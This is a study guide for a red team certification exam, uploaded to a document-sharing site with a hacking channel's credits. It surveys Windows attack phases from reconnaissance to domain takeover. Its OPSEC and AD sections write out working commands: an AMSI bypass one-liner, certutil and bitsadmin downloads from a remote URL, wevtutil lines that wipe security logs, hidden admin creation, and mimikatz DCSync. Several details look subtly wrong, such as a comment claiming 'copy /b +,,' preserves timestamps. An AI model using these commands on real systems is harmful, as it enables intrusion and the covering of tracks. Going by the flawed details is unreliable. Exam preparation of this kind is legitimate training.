0% found this document useful (0 votes)
73 views40 pages

CRTPro Exam Study Guide Overview

Uploaded by

xSickPvP
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
73 views40 pages

CRTPro Exam Study Guide Overview

Uploaded by

xSickPvP
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Credits & Disclaimer

� Uploaded by: [Link]

� Stay updated with more cybersecurity content at: [Link]

� To improve your hacking skills Join our discussion group: [Link]

� This content is shared for educational purposes only. Please support the original creators by
purchasing official courses when possible.

� Knowledge is power—use it responsibly!

Certified Red Team Professional (CRTPro) Exam Study Guide

This guide covers key Red Team topics for the CRTPro exam (a 5-hour Windows-focused
practical exam ([Link]). Each section below includes an overview, importance
for CRTPro, recommended reading (from the specified resources), hands-on labs, useful
tools, and exam tips. References (in brackets) point to in-depth resources.

Windows Internals for Red Teaming

� Overview

Understanding Windows architecture — including processes, threads, memory, drivers,


tokens, etc. — is fundamental. The CRTPro exam explicitly expects an “understanding of
Windows internals” ([Link]). Deep knowledge of these internals supports
stealth operations (e.g., code injection, unhooking APIs) and helps with debugging (e.g.,
using WinDbg). A recommended starting point is [Link]’s “Windows Kernel Drivers 101”,
which introduces key kernel/OS concepts.

� Recommended Reading

• [Link]:

o Windows Kernel Drivers 101

o SSDT and PEB notes

• HackTricks:

o Articles on PEB/TEB

• HackTheBox Blogs:

o Guides on process injection

• Harmj0y & ADSecurity:

o Deep dives into Windows tokens and privilege mechanics

• Lorenzo Meacci’s Red Team Path:

o Covers Win32 internals basics and practical use cases

� Labs / Exercises

• Use a Windows VM (e.g., Windows 10)

• Try TryHackMe or Hack The Box labs (e.g., Windows Internals, Process Injection)

• Practice with Sysinternals tools:

o Process Explorer: Analyze process hierarchy and threads

o Process Monitor: Track registry and file system activity

o Autoruns: View auto-start entries and loaded modules

• Explore:

o Writing simple kernel-mode drivers

o Performing userland code injections using C or C++

� Tools
• WinDbg (kernel/user mode debugging)

• Sysinternals Suite

• Process Hacker

• RootkitRevealer

• AccessChk, whoami /priv – Inspect token privileges

• [Link], WinObj – Explore kernel objects and handles

🛰🛰 Enumeration and Recon (Domain, Network, Host)

� Overview

Mapping the network and Active Directory (AD) environment is critical post-access. The goal
is to discover hosts, shares, domain trusts, users, groups, and services. This falls under
MITRE’s Discovery tactic (TA0007) — using native tools to “gain knowledge about the system
and internal network” ([Link]).
Effective recon directly contributes to identifying high-value targets and building viable
attack paths.

� Recommended Reading

• HackTricks:

o Pentesting Methodology

o AD Cheat Sheets

• [Link]:

o Enumeration notes (e.g., PowerView AD enumeration)

• [Link]:

o AD Discovery techniques and walkthroughs

• HackerSploit / TrustedSec:

o Reconnaissance guides and AD enumeration strategies

• MITRE ATT&CK:

o Discovery technique references and command/tool examples


� Labs / Exercises

• TryHackMe:

o Labs like Internal Network (Active Directory), AD Recon

• Hack The Box:

o AD-focused machines like Active, Forest

• Practice the following:

o Nmap scanning of subnets

o Native commands: nbtstat, net view

o AD-aware tools:

 BloodHound, PingCastle, AD Recon Scripts

 PowerShell: Get-ADUser, Get-ADComputer, net group /domain, nltest

� Tools

Tool Purpose

nmap / Zenmap Subnet scanning and service enumeration

rpcclient SMB/NetBIOS enumeration

PowerView PowerShell AD enumeration module

BloodHound / SharpHound Visual AD relationship mapping

Credential reuse, SMB enumeration,


crackmapexec
recon

net, dsquery, adfind Basic and advanced AD queries

Windows commands (netstat, arp -a, whoami


Local host and session details
/all)

LDAP utilities Parse and craft LDAP queries

� Exam Tips

• Enumerate systematically:
o Start with local shares and sessions (net share, net session)

o Move to domain accounts (Get-ADUser, net group /domain)

o Investigate trusts and AD sites (nltest, dsquery)

• Identify and document:

o Service accounts, SPNs, admin users, group memberships

• Organize findings:

o Use a spreadsheet or notes to track users, hashes, open ports, and trust
relationships

• Use tools stealthily:

o Limit noisy LDAP/SMB enumeration that may trigger detection

• Be ready to pivot effectively using gathered credentials, open ports, or exposed


shares

🎣🎣 Initial Access Techniques (Phishing, MalDocs, Living Off the Land)

� Overview

Initial access is “arguably the most delicate part of a red team assessment”
([Link]). This phase involves a variety of techniques to gain a foothold in
the environment. Common methods include:

• Phishing emails with malicious documents (macros, DDE, LNK files)

• Exploiting exposed services (e.g., RDP, MS-SQL)

• Physical attack vectors (e.g., USB Rubber Ducky)

Office macros are a classic attack method, but executing them requires bypassing
modern AV/EDR detections. Living-off-the-land binaries (LOLBins) can also be leveraged
for stealthy payload execution.

� Recommended Reading

• Lorenzo Meacci

o Advanced Initial Access Techniques – covers multi-stage delivery chains and


phishing infrastructure

• [Link]
o Articles on phishing, including Phishing with MS Office, T1173: Phishing - DDE

• HackTricks

o LOLBAS and File Formats, stealth delivery methods

• TrustedSec Blog

o Phishing campaigns and infrastructure setup

• HackingArticles

o Office macro payload generation tutorials

• [Link]

o Notes on DDE abuse and weaponized file formats

� Labs / Exercises

• TryHackMe

o Phishing Security 101, or related email exploitation labs

• Hands-On Labs

o Windows Privilege Escalation: Mailbox Dumping (GAL extraction)

o Create macro-weaponized documents using Empire or MSFvenom

o Build phishing campaigns using Gophish or local email server

• Physical Vector Practice

o Use USB Rubber Ducky payloads in a sandbox VM lab

o Simulate drop scenarios and privilege escalation via autorun or LOLBins

� Tools

Tool Use Case

Office 365 / OSEMs Crafting malicious Office documents

Macro_Pack Auto-generate obfuscated Office macro payloads

Embedsploit Embed payloads inside different file formats

Gophish Open-source phishing campaign framework


Tool Use Case

Reverse proxy phishing platform (phishing through


Modlishka
MFA)

Leverage built-in Windows binaries like mshta,


LOLBAS
regsvr32, certutil

Metasploit / Empire / Cobalt Macro builders, shellcode staging, and payload


Strike generation

� Tips for the Exam

• Identify drop points: Look for upload portals or exposed SMB shares where you can
drop payloads

• Macro security bypass: Use self-signed trusted certs, DDE exploits, or LOLBins

• Test before execution: Always test payloads in a Windows 10 VM with Windows


Defender or EDR enabled

• Recon for data leaks: Dump GAL or look for readable public shares — these can
reveal usernames or passwords

• Have fallbacks: If phishing fails, pivot to service exploits, SMB relays, or credential
stuffing
🛡🛡 AV/EDR Bypass and Defense Evasion

� Overview

Modern enterprise environments are heavily defended by built-in antivirus (like Windows
Defender) and third-party Endpoint Detection and Response (EDR) solutions. For the
CRTPro exam, stealth and evasion are vital — as emphasized in the syllabus under
“stealthy post-exploitation.”

Key evasion strategies include:

• Packing/obfuscating binaries

• Unhooking userland APIs

• Reflective loading (manual mapping)

• Using LOLBins (Living-off-the-Land Binaries)


• Avoiding signature-based and behavioral detections

For instance, a single-byte change in a payload can bypass Defender signature detection
([Link]).

� Recommended Reading

• [Link] – Defense Evasion

o AV Bypass with Metasploit Templates

o Unhooking Windows APIs

• HackTricks

o AV/EDR evasion techniques: Process Injection, Indirect Syscalls, Obfuscated


DLL loading

• Harmj0y / SpecterOps

o In-depth research on AMSI/PPL bypasses, hunter-mode injection, ETW


tampering

• HackingArticles

o Payload obfuscation tutorials (e.g., XOR, Base64 encoding)

o Manual shellcode runners and payload generators

� Labs / Exercises

• TryHackMe

o Red Team OPSEC – includes detection avoidance against Sysmon and


Defender

• HackTheBox

o Ebox – real-world EDR bypass via unhooked APIs and stealthy post-ex

• Sandbox Testing

o Set up a Windows 10/11 VM with Defender

o Install Microsoft Defender for Endpoint (ATP Trial) or simulate EDR behavior
using Sysmon

o Build custom C# reflective loaders, simulate shellcode injections


• Practice Areas

o AMSI and ETW bypasses

o Manual API resolution

o Indirect syscalls with SysWhispers2

o Manual PE injection and in-memory execution

� Tools

Tool Purpose

Veil-Evasion Generates obfuscated payloads (Python, C#, Powershell)

Donut Converts .NET executables into shellcode

Modern EDR evasion framework (bypasses Defender,


ScareCrow
CrowdStrike)

.NET Oblivion Obfuscates .NET binaries to evade analysis

Shellter Injects shellcode into PE files stealthily

Invoke-Obfuscation PowerShell obfuscation framework

SHARP-suspend Suspends security services at runtime

ETW Bypass (Erkin’s


Removes Event Tracing hooks
method)

Customize Beacon profile, evade C2 detection with jitter &


Cobalt Strike
encryption

SysWhispers /
Perform indirect syscalls (API call obfuscation)
SysWhispers2

� Tips for the Exam

• Always test payloads locally in a Defender-enabled VM and monitor logs with Event
Viewer, Sysmon, or Procmon

• Avoid static indicators – don't use default Mimikatz or common LOLBins


unmodified
• Use custom Beacon profiles and staging (e.g. https-only, jitter >30%) to reduce C2
signature detection

• Suspend or disable logging (e.g. wevtutil, eventlog service) when needed

• Avoid AMSI triggers: use patched [Link] or runtime bypass with reflection

• Look for high-privilege EDR processes (PPL) and avoid injecting into them blindly

• Don’t rely on default payloads – recompile and scramble all binaries

🔐🔐 Privilege Escalation (Windows)

� Overview

Once an initial foothold is gained, the next objective is to escalate privileges — ideally to
NT AUTHORITY\SYSTEM or Domain Admin. In CRTPro, expect at least one local privilege
escalation challenge.

MITRE ATT&CK defines Privilege Escalation (TA0004) as techniques that grant higher-level
permissions on a system.

Common escalation paths include:

• Weak service permissions

• DLL hijacking

• Hot patching or PatchGuard bypass

• Token impersonation (e.g. Juicy Potato)


• Exploiting misconfigurations or older kernel-mode CVEs

• Unquoted service paths, insecure environment variables, always-install-elevated


settings

� Recommended Reading

• HackTricks – Windows Privilege Escalation

o Checklist of local privesc techniques

• [Link]

o Labs:

 Unquoted Service Path Hijacking

 $PATH Environment Variable Abuse

 DLL Sideloading & Token Abuse

• HackingArticles

o Known CVEs (e.g. SpoolFool, PrintSpoofer, Task Scheduler Bugs)

o Step-by-step exploitation labs

• ADSecurity / SpecterOps

o Internals on tokens, impersonation, and service abuse

• Lorenzo Meacci – Red Team Path

o Likely includes privesc strategy as part of post-exploitation

� Labs / Exercises

• TryHackMe

o Windows Privilege Escalation

• HackTheBox Machines

o “Forest”, “Blue”, “Bastion”, “Resolute”, “Offsec”

• Custom VM Setup

o Create vulnerable services with weak permissions

o Use accesschk, icacls to validate attack paths


• Exercise Ideas

o Enumerate and abuse AlwaysInstallElevated

o Hijack insecure service paths

o Load rogue DLLs via DLL Search Order Hijacking

o Practice impersonation with JuicyPotato or RoguePotato

� Tools

Tool Purpose

WinPEAS Automated enumeration for Windows privilege escalation

PowerUp.ps1 Powershell script to identify local misconfigurations

JuicyPotato / RoguePotato Token impersonation to escalate to SYSTEM

CVE Exploit Tools e.g., CVE-2021-1647, SpoolFool, PrintSpoofer

Mimikatz Steal and reuse tokens (Sekurlsa, Token::Elevate)

Accesschk (Sysinternals) Check permissions on services/files/registry

Metasploit getsystem, token stealing, and privilege modules

� Tips for the Exam

• Systematically check for escalation vectors:

o whoami /priv, whoami /groups

o sc qc, icacls, schtasks /query

• Look for:

o Unquoted service paths

o Writable service executables or configs

o Insecure scheduled tasks

o Writable directories in the PATH environment

• If local admin on a workstation, consider lateral movement (e.g. Pass-the-Hash,


WMI)
• Timebox kernel exploit attempts — only pursue if clear and safe

• Use token impersonation or DLL hijacking over noisy exploits

• Understand S4U abuse and SeImpersonatePrivilege

🧬🧬 Credential Access Techniques (LSASS Dumping, SAM, Mimikatz, etc.)

� Overview

After privilege escalation, harvesting credentials is often the next step. These include
passwords, NTLM hashes, Kerberos tickets, and stored secrets. Techniques like LSASS
memory dumping, SAM hive extraction, Kerberos ticket theft, and [Link] replication
(DCSync) are essential for lateral movement and full domain compromise.

MITRE ATT&CK: Credential Access (TA0006)

� Recommended Reading

• ADSecurity – Mimikatz & DCSync

o Detailed walkthrough of pulling NTDS secrets via RPC

• HackTricks

o Credential dumping techniques, Pass-the-Hash, and ticket reuse

• [Link]
o Dumping LSASS Without Mimikatz, PowerShell alternatives, Kerberos ticket
abuse

• HackingArticles

o LSASS dump methods, SAM registry attacks

• MITRE Techniques:

o T1003: OS Credential Dumping

� Labs / Exercises

• TryHackMe

o “AD Exploitation” or “Credential Access” labs

• Domain Controller VM

o Dump [Link] and test DCSync manually

• Simulated Attacks

o Dump LSASS via procdump

o Save and extract SAM/SYSTEM using reg save

• Cracking Practice

o Use Hashcat or John to crack dumped NTLM hashes

• MetaSploit Exercises

o Use kiwi or incognito post modules to steal tokens and secrets

� Tools

Tool Purpose

Mimikatz / Invoke-Mimikatz Dump passwords, hashes, tickets, and tokens

Rubeus Extract & forge Kerberos tickets

Impacket [Link], [Link]

[Link] Dump LSASS memory safely

gsecdump, CredDump LSASS/SAM alternative dumpers


Tool Purpose

KeePass / Vaults Search for stored plaintext creds

PowerView Enumerate AD users/groups with ACLs for DCSync

� Tips for the Exam

• LSASS Dumping Options

o procdump, direct from memory (in-memory Mimikatz), or Process Hacker

• Avoid Detection

o Use stealthy in-memory execution (Invoke-Mimikatz or Cobalt Strike


Beacon)

• Understand DCSync

o Requires Replicating Directory Changes All permission

o Target krbtgt for Golden Ticket

• Token Duplication

o Use Mimikatz → token::list → token::elevate or incognito

• Log Parsing

o Always check Defender logs post-dump to assess detection

� Post-Exploitation Techniques (Persistence & Lateral Movement)

� Overview

Once access to a system is gained, the next critical steps involve maintaining access
(persistence) and expanding control across the network (lateral movement). In CRTPro, this
phase tests your stealth, planning, and operational security.

• Persistence (TA0003): Ensure access survives reboot, logout, or detection.

• Lateral Movement (TA0008): Move from one compromised system to others using
stolen credentials or trusted connections.

� Common tactics:

• Scheduled tasks, autoruns, registry keys, services, WMI events


• PsExec, WMI/WinRM/RDP access, pass-the-ticket/hash, DCOM exploitation,
AdminSDHolder abuse

� Recommended Reading

• AddieLaMarr – Post-Exploitation Techniques


� Obsidian Publish: Post-Exploitation

o Covers persistence via registry/service/schtasks and lateral using PsExec,


WMI, tokens, etc.

• Rapid7 Metasploit Guide – Post-Exploitation


� Metasploit Post-Exploitation

• HackTricks

o Persistence (run keys, services, WMI backdoors), Lateral techniques (Pass-the-


Hash, DCOM, RDP)

• [Link] Labs

o AdminSDHolder backdooring, DCOM lateral movement, WMI event-based


persistence

• ADSecurity / Harmj0y / SpecterOps

o Deep dives into Pass-the-Ticket, OverPass-the-Hash, PetitPotam, ACL abuse

• BloodHound Docs

o Identify real-world lateral paths using AD ACL and group delegation maps

� Labs / Exercises

• TryHackMe

o “Persistence”, “AD Post-Exploitation”, “WMI Lateral Movement” labs

• HackTheBox Machines

o “Monteverde”, “Forest”, “Lateral”, “Cascade” — involve real AD


lateral/persistence

• Practice Tasks:

o � Persistence:

 Add a hidden local admin → net user /add + net localgroup


 Registry autoruns → reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

 WMI event subscription → Event consumer-based persistence

 Scheduled tasks → schtasks /create ... or [Link]

o � Lateral Movement:

 [Link], [Link], winrm (PowerShell Remoting)

 RDP login with dumped credentials

 Pivot via SOCKS proxy → Cobalt Strike / Metasploit pivoting modules

� Tools

Tool Purpose

persistence, clearev, hashdump, migrate, keyscan,


Meterpreter
pivot

Modules for persistence and WMI lateral


Empire
movement

[Link], [Link], [Link],


Impacket Suite
[Link]

spawnas, Beacon pivoting, SOCKS proxying,


Cobalt Strike
psinject

BloodHound / SharpHound Visualize attack paths, find excessive privileges

schtasks / [Link] / reg add Task/registry persistence

PowerView / Powermad / Invoke-


Persistence/lateral scripts
WMIEvent

Chisel, FRP Reverse SOCKS/port forwarding (pivot helpers)

� Tips for the Exam

• Persistence Best Practices

o Create multiple backdoors (registry + WMI + user account)


o Use non-obvious names (svchosts, updsvc, etc.)

o Consider WMI Event Consumers for stealth (not listed in many AV logs)

o Confirm persistence survives reboot and logout

• Lateral Movement OPSEC

o Target systems where your user is local admin (use BloodHound or net
sessions)

o Use valid credentials with low-profile techniques: WMI, WinRM, or PsExec

o RDP is high-profile; avoid if stealth is important unless combined with


screenshot tools

o Clean up after execution (clearev, Remove-PSSession, delete schtasks)

• Pivoting & Tunneling

o Use SOCKS proxies to pivot tools like Rubeus or BloodHound

o Forward RDP/SMB/LDAP ports with Chisel or SSH tunneling

o Understand and apply multi-hop logic (pivot from host A → B → C)

• Log Management

o Optionally disable or clear logs (eventlog, evtx) — depends on scope/rules

o Use Invoke-Phantom or similar to hide from event traces

� Checklist Before Moving Laterally

• Local Admin or DA access obtained?

• Valid user credentials or token?

• Confirm remote ports open (SMB, WinRM)?

• Anti-virus evasion tested (binary or script)?

• Confirm pivot tunnel or C2 beacon stability?


🎛🎛 Command and Control (C2) Frameworks

(Cobalt Strike, Sliver, Mythic, Empire, Metasploit)

� Overview

C2 frameworks allow you to remotely control compromised systems, run post-exploitation


tasks, and persist across environments. In the CRTPro exam, expect to deploy a
Beacon/agent, manage sessions, and maintain stealth over extended operations.

Key Concepts:

• Listener/Team Server: Handles incoming connections from agents (Beacons).

• Payload/Beacon: Code on the victim that communicates with your listener.

• Channels: HTTP/HTTPS, SMB, DNS, or TCP for communication.

• OPSEC: Control jitter, sleep, staging, encryption, and command visibility.

� Recommended Reading

• � [Link] – Cobalt Strike 101 – Excellent Cobalt Strike fundamentals

• � Sliver C2 Documentation – Usage, listener config, cross-platform agents

• � TrustedSec Blog – OPSEC and real-world red team C2 strategies

• � HackTricks – C2 Frameworks – Empire, Sliver, CS, Mythic


• � Red Team Path (Lorenzo Meacci) – C2 lab setups, payload delivery

� Labs & Exercises

• Local Lab Setup

o Deploy Cobalt Strike (TeamServer + attacker UI)

o Deploy Sliver (free, Go-based, supports Windows/Linux/macOS)

o Set up Windows VM as a target and generate payloads

• Test Deployments

o Launch staged vs stageless payloads

o Configure HTTPS listener with valid TLS cert or self-signed

o Test Beacon sleep/jitter values (e.g. sleep 60 20)

o Try SMB and pipe pivoting from host to host

• Cross-Platform

o Use Sliver to generate payloads for macOS/Linux

o Deploy reverse shell via Python or Bash for minimal footprint

� Common Tools

Tool Description

Full-featured commercial red team C2. Beacon, SOCKS pivoting,


Cobalt Strike
Mimikatz, OPSEC controls

Open-source C2 by BishopFox. Cross-platform, staged/stageless,


Sliver
encrypted comms

Modern, modular C2 supporting HTTP, WebSockets, SMB, and


Mythic
more

Metasploit Multi/handler, msfvenom, post modules for Beacon-like control

Donut Converts .NET/EXE into shellcode (used with CS/Sliver payloads)

SharpC2 / Covenant /
PowerShell/C#-based C2s for native post-exploitation
Empire
� Tips for CRTPro & OPSEC

� Listener & Beacon Configuration

• Use random ports, rotate pipe names (e.g., \\.\pipe\winupdate)

• Change default C2 profiles to avoid static detection (especially in Cobalt)

• Use valid TLS certs or tweak User-Agent for HTTP/HTTPS payloads

• Adjust sleep + jitter (e.g., sleep 120 40) to avoid behavioral detection

� Interactive Features

• Cobalt Strike

o keylogger, screenshot, bypassuac, mimikatz, spawnas

o argue (spoof command line args): argue calc /spoofed

• Sliver

o Built-in shell, upload/download, spawn, pivot, tunnel

o Supports Jitter, Killdate, Auto-uninstall, Named Pipes

� Pivoting & Tunneling

• Use SOCKS proxies in Beacon or Sliver (socks in CS, socks5 in Sliver)

• Pivot through SMB, WMI, or custom launchers (CS: jump, Sliver: pivot)

� Cleanup

• At exam end, remove dropped payloads, kill Beacons, uninstall agents

• Use tasklist, schtasks, netstat to confirm no running C2s

• Disable persistence mechanisms (reg keys, services) if set

� Exam Checklist for C2

Task Done

Set up listener with custom options (HTTPS, pipe, jitter)? ☐

Created and obfuscated Beacon payload (stageless preferred)? ☐


Task Done

Achieved callback and stable C2 session? ☐

Performed pivoting/lateral movement through C2? ☐

Verified OPSEC (no default profiles, stealthy sleep)? ☐

Cleaned up Beacons and removed artifacts post-task? ☐

� Active Directory Attacks

(Kerberoasting, ACL Abuse, DCSync, Ticket Forgery)

� Overview

Active Directory (AD) is a prime CRTPro target. Once inside the domain, attacks like
Kerberoasting, ACL abuse, and DCSync allow lateral escalation and Domain Admin (DA)
compromise.

Technique Goal

Extract Service Tickets (TGS) to crack service account passwords


Kerberoasting
offline

ACL Abuse Modify objects (users/groups) due to misconfigured permissions


Technique Goal

Imitate a Domain Controller to dump password hashes via


DCSync
replication

Golden/Silver
Forge Kerberos tickets with krbtgt or service account hashes
Tickets

Delegation Attacks Abuse unconstrained or constrained delegation settings

� Recommended Reading

• � HackTricks – Active Directory Attacks

• � HackingArticles – Kerberoasting Deep Dive

• � [Link] – ACL Abuse

• � ADSecurity – Mimikatz DCSync

• � ADSecurity – Kerberos & Ticket Attacks

• � BloodHound Docs – Finding attack paths (ACLs, group memberships)

� Labs & Exercises

Use TryHackMe or HackTheBox Labs:

• TryHackMe: Attacktive Directory, AD Playground, Blue Team Labs

• HackTheBox: Forest, Cascade, Active, Jewel, Blackfield

Practice:

• � Kerberoasting

o Use [Link] (Impacket) or Rubeus kerberoast

o Crack hashes with Hashcat: $krb5tgs$23$...

• � ACL Abuse

o Run BloodHound/SharpHound to visualize attack paths

o Use Get-DomainObjectACL, Add-DomainObjectACL (PowerView)

o Look for rights like GenericAll, WriteOwner, WriteDACL


• � DCSync

o Requires DA-level or Replicating Directory Changes All right

o Mimikatz:

cpp

CopyEdit

mimikatz # lsadump::dcsync /domain:<domain> /user:<target>

• � Golden/Silver Tickets

o Dump krbtgt hash → forge TGT (Golden)

o Dump service account hash → forge TGS (Silver)

o Use kerberos::golden in Mimikatz or Rubeus tgtdeleg/asktgt

� Key Tools

Tool Use

Rubeus Kerberos ticket operations (TGT/TGS request, roast, inject)

Impacket [Link], [Link], [Link], [Link]

Mimikatz lsadump::dcsync, kerberos::golden, sekurlsa::logonpasswords

AD recon and ACL enumeration (Get-DomainUser, Get-


PowerView
DomainObjectACL)

BloodHound/SharpHound Visual graph of permissions, privileges, and attack chains

� Tips & Tricks

� Kerberoasting

• Use:

setspn -Q */*

Or in PowerView:

Get-DomainUser -SPN

• Filter out high-privileged accounts


• AES-encrypted tickets (default in modern domains) are harder to crack; older
systems use RC4 (crackable)

� ACL Abuse

• Abuse GenericAll, GenericWrite, WriteOwner, WriteDACL

• Write access to a user object = reset password and impersonate

• Use:

Add-DomainObjectACL -TargetIdentity <User> -Rights All -PrincipalIdentity <You>

� DCSync

• Must have:

o Replicating Directory Changes

o Replicating Directory Changes All

• Always use a stealthy domain user if available to avoid alerting blue team

� Golden Ticket

• Needs krbtgt NTLM hash

• Persist indefinitely with TGT injection

• OPSEC tip: Set short lifetime (5-10 mins) for forged TGTs in live tests

� CRTPro Exam Checklist – AD Attacks

Task Done

Enumerated domain users, SPNs, and trust relationships? ☐

Successfully performed Kerberoasting and cracked hash? ☐

Identified ACL misconfigs via BloodHound or PowerView? ☐

Performed DCSync with correct privileges? ☐

Understood and used Golden/Silver ticket attacks? ☐

Verified stealth and ticket validity post-injection? ☐


🕵🕵🕵🕵 OPSEC for Red Teams

� Overview

Operational Security (OPSEC) is about stealth. During the exam (and in real operations),
you must:

• Blend in with normal activity

• Avoid detection by defenders (and EDRs/logs)

• Cover your tracks after each step

� CRTPro Expectation: Show awareness of detection vectors, stealth tactics, and


cleanup. Noisy actions (e.g., obvious Mimikatz usage or dropping tools in temp folders)
will cost points.

� Recommended Reading

• � TrustedSec – “Walking the Tightrope” (Stealthy operations)

• � SpecterOps Blog – Will Schroeder

• � HackTricks OPSEC Notes

• � Lorenzo’s Red Team Path + LinkedIn posts (great exam-specific OPSEC insights)

� Labs/Exercises
• � TryHackMe – Red Team OPSEC: Practice evasive payload delivery, AMSI
bypasses, log wiping

• � Use a local lab: Monitor Windows logs (Event Viewer) while running tools like
Rubeus, Mimikatz, or Invoke-ReflectivePEInjection

� Tools and Techniques for Stealth

Tool Use

� Donut Convert PE/.NET into in-memory shellcode

� runas /netonly Use domain creds without creating sessions

� wevtutil cl Clear Windows logs (carefully!)

� CertUtil / BITSAdmin Covert file download/upload

� Iodine DNS tunneling shell access

Avoid writing to disk; avoid default function


� Rubeus/Mimikatz (in-memory)
names

� SilentProcessExit + PPL Bypass Hide sensitive injections and AV evasion

� [Link] patch / bypass Disable AMSI detection in PowerShell payloads

� Living Off The Land Binaries


Use regsvr32, mshta, rundll32, forfiles, etc.
(LOLBins)

� Tips and Best Practices

� Payload Naming & Storage

• Never use names like [Link], [Link]

• Use legit-looking names: [Link], [Link], etc.

• Timestamp files with:

copy /b fi[Link] +,, # Preserves timestamp

� File Transfer

• Avoid direct wget/curl – prefer:


o certutil -urlcache -split -f [Link] fi[Link]

o bitsadmin /transfer <name> [Link] C:\Users\Public\fi[Link]

• Obfuscate or encode files (Base64, XOR) before transfer

� Execution

• Avoid writing payloads to disk: use in-memory injection

• Use runas /netonly for impersonation:

runas /netonly /user:DOMAIN\user "[Link]"

� AMSI Bypass (Quick)

[Ref].[Link]('[Link]')::amsiInitFailed =
$true

� Covering Tracks

• Delete payloads after use:

del /f /q fi[Link]

• Wipe logs only if safe to do:

wevtutil cl System

wevtutil cl Security

wevtutil cl Application

� Network Behavior

• Use HTTPS C2 if possible (randomized jitter, sleep intervals)

• Avoid constant beaconing (Cobalt Strike: sleep 60; jitter 30)

• VPN always on exam network; never tunnel out to other machines

� CRTPro OPSEC Checklist

Item Status

Used legitimate filenames for all payloads ☐

Used in-memory payload delivery (Donut, IEX, etc.) ☐

Cleaned up payloads/logs after execution ☐


Item Status

Avoided noisy tools (e.g., GUI Mimikatz) ☐

Did not use PowerShell with -ExecutionPolicy Bypass openly ☐

Used built-in LOLBins for recon and execution ☐

VPN connection active at all times ☐

🎯🎯 Real-World TTPs (MITRE ATT&CK Mapping)

� Overview

• CRTPro expects you to identify, use, and name techniques using their MITRE ATT&CK
mappings.

• Each tactic has multiple techniques. Learn key ones for Credential Access, Privilege
Escalation, Lateral Movement, and Persistence.

• Knowing IDs like T1003 (Credential Dumping) or T1059 (Command and Scripting
Interpreter) improves your clarity and scoring.

� Recommended MITRE TTP Mappings (Core Techniques)

MITRE Tactic (ID) Description Key Techniques to Know

T1078 Valid Accounts, T1133 External


Initial Access (TA0001) Gaining entry
Remote Services
MITRE Tactic (ID) Description Key Techniques to Know

T1059 PowerShell, T1203 Exploitation for


Execution (TA0002) Code runs on system
Client Execution

T1547.001 Registry Run Keys, T1053.005


Persistence (TA0003) Survive reboot
Scheduled Task

Privilege Escalation T1055 Process Injection, T1134.001 Token


Gain higher privileges
(TA0004) Impersonation

Defense Evasion T1112 Modify Registry, T1562 Disable


Bypass AV, logs
(TA0005) Security Tools

Credential Access T1003.001 LSASS Dumping, T1555 Browser


Steal creds or hashes
(TA0006) Credential Stealing

T1016 System Network Config, T1087


Discovery (TA0007) Internal recon
Account Discovery

Lateral Movement T1021.002 SMB/PSExec, T1047 WMI,


Move between hosts
(TA0008) T1021.006 WinRM

T1005 File Collection, T1113 Screen


Collection (TA0009) Gather data
Capture

Command & Control Control compromised


T1071.001 HTTP, T1095 Non-Standard Port
(TA0011) systems

Exfiltration (TA0010) Data theft T1041 Exfil over C2 channel

Impact (TA0040) Disrupt or destroy T1489 Service Stop, T1486 Data Encryption

� Practice Tip

• As you perform attacks in labs or CRTPro exam, tag each action with the ATT&CK ID
in your notes:

#T1555 - Credential Access via Mimikatz (sekurlsa::logonpasswords)

� CRTPro Exam Strategy & Tips


� Time Management Plan (5-hour exam)

Phase Time Tasks

� Enumeration 45–60 min Discover hosts, users, shares, SPNs

� Initial Foothold 30–45 min Phishing, exploit, weak credentials

� Priv Esc 30–45 min Token impersonation, UAC bypass, ACL abuse

� Lateral Movement 45–60 min PSExec, WMI, WinRM, ADCS, DCSync

� Domain Domination 30–45 min Dump krbtgt / DA, create new admin

� Cleanup + Flags 30–45 min Verify flags, clean up, submit evidence

� Note-Keeping Best Practices

Item Details

� Label all hosts e.g., WS01, DC01, APP01

� Track credentials svcprinter:C0nnectMe123!

� Screenshot format Full window + terminal + flag clearly shown

� Tools to use CherryTree, Obsidian, OneNote, simple .md log

� Common Pitfalls

Mistake Fix

� Tunnel vision on one Try alternative attacks (e.g., from ACL abuse to AS-REP
method Roasting)

� Not testing all login methods Always try RDP, WMI, winrs, runas /netonly

� Breaking services (e.g. DC


Only stop what you fully understand
roles)

� Forgetting MITRE mapping Use it as a checklist—bonus points in write-ups


� General Advice & Tricks

• Flag locations might not be in obvious spots. Always:

o Check Desktop, Downloads, %TEMP%, public shares.

o Dump memory for secrets if creds don’t work immediately.

• Document all lateral movement paths – what user is where, what admin to what
host.

• Always try impersonating tokens if you're SYSTEM:

Invoke-TokenManipulation -ShowAll

Invoke-TokenManipulation -Impersonate -User "DOMAIN\Admin"

• Check shares for creds:

net view \\HOST

net use \\HOST\Share

📋📋 CRTPro Final Hour Checklist

Task Complete?

All flags found, screenshots taken? ☐

Creds recorded with clear source machine? ☐

Cleaned up payloads/logs? ☐

Checked for missed users/admins? ☐

Verified lateral paths to DCs? ☐

VPN connected and stable? ☐

Notes saved/exported? ☐

Additional Help:

MITRE ATT&CK Tactics Mapping Cheat Sheet

─────────────────────────────

| MITRE ATT&CK Cheat Sheet |


─────────────────────────────

TACTIC | EXAMPLES (Techniques & IDs)

─────────────────────────────────────────────────────────────

Initial Access (TA0001)

- Valid Accounts (T1078)

- External Remote Services (T1133)

- Spearphishing (T1566)

Execution (TA0002)

- PowerShell (T1059.001)

- Command Shell (T1059.003)

- Exploitation for Client Execution (T1203)

Persistence (TA0003)

- Registry Run Keys (T1547.001)

- Scheduled Tasks (T1053.005)

- WMI Event Subscription (T1546.003)

Privilege Escalation (TA0004)

- Process Injection (T1055)

- Token Impersonation (T1134.001)

- Exploitation of Vulnerabilities (T1068)

Defense Evasion (TA0005)

- Modify Registry (T1112)

- Disable Security Tools (T1562)

- File Deletion (T1107)


Credential Access (TA0006)

- Credential Dumping (T1003)

- Brute Force (T1110)

- Input Capture (T1056)

Discovery (TA0007)

- Account Discovery (T1087)

- Network Service Scanning (T1046)

- System Information Discovery (T1082)

Lateral Movement (TA0008)

- SMB/PSExec (T1021.002)

- WMI (T1047)

- Remote Services (T1021)

Collection (TA0009)

- File and Directory Discovery (T1083)

- Screen Capture (T1113)

- Clipboard Data (T1115)

Command and Control (TA0011)

